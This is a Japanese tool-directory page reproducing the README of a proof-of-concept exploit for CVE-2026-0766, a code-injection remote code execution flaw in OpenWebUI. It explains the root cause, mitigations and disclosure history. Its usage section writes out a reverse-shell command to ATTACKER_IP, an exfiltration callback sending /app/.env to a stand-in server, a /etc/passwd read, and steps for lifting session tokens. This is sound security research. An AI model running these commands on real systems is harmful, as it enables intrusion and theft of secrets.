Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-0766 — CVE-2026-0766の概念実証エクスプロイト。OpenWebUIにおけるツールコードインジェクションを介したリモートコード実行の脆弱性です。コマンド実行、ファイル読み取り、リバースシェル、ブラインド外部送信モードを含みます。 | Kitploit
ツール/GitHubGitHub/bitt0n/cve-2026-0766
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHubbitt0n/cve-2026-0766

CVE-2026-0766

CVE-2026-0766の概念実証エクスプロイト。OpenWebUIにおけるツールコードインジェクションを介したリモートコード実行の脆弱性です。コマンド実行、ファイル読み取り、リバースシェル、ブラインド外部送信モードを含みます。

リポジトリを見る
5ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-0766: OpenWebUI リモートコード実行

教育目的のセキュリティ研究リポジトリ

このリポジトリには、Zero Day Initiative (ZDI) によって発見・公開された OpenWebUI のリモートコード実行脆弱性 CVE-2026-0766 の概念実証(PoC)エクスプロイトコードが含まれています。


⚠️ 免責事項

このリポジトリは、許可されたセキュリティテストおよび教育目的のみを対象としています。

  • このコードは、自身のシステムまたは明示的な許可を得たシステムのテストにのみ使用してください
  • LLM プラットフォームのセキュリティ脆弱性について学習するために使用してください
  • ❌ 明示的な許可なくシステムに対して使用することは絶対にしないでください
  • ❌ コンピュータシステムへの不正アクセスは違法です

著者は、このコードの誤用について一切の責任を負いません。利用者は、自身の活動がすべての適用法規に準拠していることを確認する責任を負います。


📋 脆弱性の概要

プロパティ値
CVE IDCVE-2026-0766
発見者Zero Day Initiative (ZDI)
影響を受けるソフトウェアOpenWebUI
脆弱性の種類コードインジェクション (CWE-94)
CVSS スコア8.8 HIGH
CVSS ベクターAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
攻撃の複雑さ低(認証された管理者、またはツールの作成・更新権限を持つユーザーが悪用可能)

OpenWebUI とは?

OpenWebUI は、大規模言語モデル(LLM)向けのセルフホスト型 Web インターフェースです。ChatGPT に似たエクスペリエンスを提供し、組織は自社のインフラストラクチャ上で実行することで、LLM の会話とデータをオンプレミスに保持できます。

脆弱性の詳細

OpenWebUI には、ユーザーが Python コードを送信して LLM の機能を拡張できる「ツール」機能が含まれています。このコードは、Python の exec() 関数を介してサンドボックス化、検証、セキュリティ制御なしでサーバー側で実行されます。

エクスプロイトの流れ:

  1. 認証されたユーザーが POST /api/v1/tools/create を介して「ツール」を作成する
  2. ユーザーが提供した Python コードが content フィールドに保存される
  3. サーバーが utils/plugin.py 内で exec(content, module.__dict__) を呼び出す
  4. 任意の Python コードがサーバーの完全な権限で実行される
  5. 攻撃者がリモートコード実行(RCE)を達成する

重要なポイント: コードは LLM がツールを呼び出すときではなく、ツール作成時に実行されます。つまり、悪意のあるツールを作成するだけで RCE が発動し、それ以上の操作は不要です。

テスト済みバージョン

このエクスプロイトは以下で検証されています:

  • OpenWebUI v0.8.10 - 脆弱性あり ✅ (2026-03-28 テスト済み)

この脆弱性は構造的なもの(ユーザー入力に対する安全でない exec() の使用)であり、OpenWebUI チームによるセキュリティパッチがリリースされるまで、すべてのバージョンに存在します。


🔍 技術的詳細

根本原因

脆弱性は backend/open_webui/utils/plugin.py に存在します:

root@kitploit:~
def load_tool_module_by_id(tool_id: str, content: str):
    # 最小限の前処理(セキュリティ制御ではない)
    content = replace_imports(content)

    # モジュールを作成し、ユーザーコードを実行
    module = types.ModuleType(f"tool_{tool_id}")
    exec(content, module.__dict__)  # ← 脆弱性

    return module

replace_imports() 関数はインポートパスを書き換えるだけ(外観上の処理)で、実行できるコードを制限しません。以下が存在しません:

  • ❌ サンドボックス化(制限された実行環境がない)
  • ❌ コード検証(AST 検査や許可リストがない)
  • ❌ 権限チェック(デフォルトで全認証ユーザーがツールを作成可能)
  • ❌ 権限分離(コードは OpenWebUI サービスアカウントとして実行される)

ベンダーの対応

OpenWebUI チームは当初、ツールの作成には管理者権限が必要であると指摘し、これを優先度の低い問題と評価しました。しかし:

  1. 権限委譲は一般的 - 多くのデプロイメントでは、パワーユーザー、ワークスペース管理者、開発者にツール作成権限を付与しています
  2. 管理者アカウントの侵害 - フィッシング、クレデンシャルスタッフィング、SSO 侵害により、攻撃者が管理者アクセスを取得できる可能性があります
  3. 多層防御の違反 - 管理者の操作であっても制約されるべきであり、無制限のコード実行は最小権限の原則に違反します
  4. 侵害後の有用性 - この脆弱性は、初期アクセス後の攻撃チェーンにおいて価値があります

ベンダーが管理者による制限付きアクセスでの管理を提案した後、ZDI は防御者に情報を提供するため、これを 0-day 脆弱性 (ZDI-26-032) として公開しました。

著者はオープンソースプロジェクトの維持における課題を尊重しています。 セキュリティパッチには、ユーザーのニーズ、アーキテクチャ上の制約、限られたリソースのバランスが必要です。この公開は、セキュリティチームがリスクを評価し、緩和策を実装するのに役立つことを目的としています。


🛠️ 概念実証

インストール

root@kitploit:~
git clone https://github.com/bitt0n/CVE-2026-0766.git
cd CVE-2026-0766
pip install requests urllib3

使用方法

エクスプロイトスクリプト(exploit.py)は複数の攻撃モードをサポートしています:

1. コマンド実行

OS コマンドを実行し、出力を取得します:

root@kitploit:~
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --cmd "id"

2. ファイル読み取り

サーバーのファイルシステムからファイルを読み取ります:

root@kitploit:~
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --read /etc/passwd

3. リバースシェル

リバースシェルを起動します(netcat リスナーが必要):

root@kitploit:~
# 攻撃者マシンで:
nc -lvnp 4444

# エクスプロイトを実行:
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --revshell ATTACKER_IP:4444

4. ブラインド外部送信

コマンド出力を HTTP コールバックサーバーに送信します:

root@kitploit:~
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --callback http://your-server:8080 --cmd "cat /app/.env"

認証

スクリプトはJWT トークン(SSO ログインから)とAPI キーの両方を受け付けます:

JWT トークンの取得方法:

  1. OpenWebUI に通常通りログインします(SSO またはローカル認証)
  2. ブラウザの DevTools(F12)を開きます
  3. トークンを見つけます:
    • Cookies タブ: token クッキーの値を探します
    • Network タブ: 任意の API リクエストから Authorization: Bearer ... ヘッダーをコピーします
    • Console: localStorage.getItem("token") を実行します
  4. トークンをスクリプトに渡します: --token eyJhbGci...

🔐 緩和策

防御者向け

OpenWebUI を実行しており、すぐにパッチを適用できない場合:

  1. ツール作成権限を制限し、高度に信頼された管理者のみに限定する
  2. 既存のツールを監査して悪意のあるコードがないか確認する(データベース内のツールコンテンツを確認)
  3. OpenWebUI を最小権限で実行する(専用サービスアカウント、可能な場合は読み取り専用ファイルシステム)
  4. ネットワーク出力フィルタリングを実装する(コンテナが任意の外部アクセスを持たないようにする)
  5. 不審なツール作成を監視する(通常のワークフロー外で作成されたツールに注意)

推奨される修正(メンテナー向け)

  1. exec() を安全な代替手段に置き換える:

    • サンドボックス実行には RestrictedPython を使用する
    • Python AST を解析し、安全な操作の許可リストに対して検証する
    • 分離されたコンテナ(gVisor、Firecracker)でツールコードを実行する
  2. 権限チェックを追加する:

    • 新しいツールには管理者の承認を要求する
    • ツール作成にロールベースのアクセス制御を実装する
    • ツールが有効になる前にコードレビューワークフローを追加する
  3. 多層防御:

    • システムコールフィルタリング(seccomp)を使用してツールを別プロセスで実行する
    • ファイルシステムアクセスを読み取り専用に制限する
    • ツール実行環境からネットワークアクセスを削除する

📚 参考情報

  • NVD エントリ: https://nvd.nist.gov/vuln/detail/CVE-2026-0766
  • ZDI アドバイザリ: https://www.zerodayinitiative.com/advisories/ZDI-26-032/
  • GitHub セキュリティアドバイザリ: https://github.com/advisories/GHSA-cggw-334c-f4mj
  • CWE-94 (コードインジェクション): https://cwe.mitre.org/data/definitions/94.html
  • OWASP コードインジェクション: https://owasp.org/www-community/attacks/Code_Injection

🙏 クレジット

  • 脆弱性の発見: Zero Day Initiative (ZDI) - ZDI-26-032 / ZDI-CAN-28257
  • エクスプロイト研究と PoC 開発: Pradeep Pillai (@bitt0n)

📜 ライセンス

MIT ライセンス - 詳細は LICENSE ファイルを参照してください。

このコードは教育および防御的なセキュリティ目的で提供されています。著者は誤用について責任を負いません。


🤝 責任ある開示

この脆弱性は責任を持って開示されました:

  1. ZDI が脆弱性を発見し、OpenWebUI に報告
  2. 調整された開示期間がベンダーにパッチ適用のために提供された
  3. ベンダーはパッチ適用を辞退(許容可能なリスクと評価)
  4. ZDI はセキュリティコミュニティに情報を提供するため 0-day として公開
  5. この PoC は開示後に公開され、防御者がリスクを評価できるようにした

オープンソースプロジェクトでセキュリティ脆弱性を発見した場合は、責任ある開示の慣行に従い、公開前にメンテナーにパッチ適用の時間を与えてください。


質問やフィードバックについて: このリポジトリで issue を開いてください。

ツールをダウンロード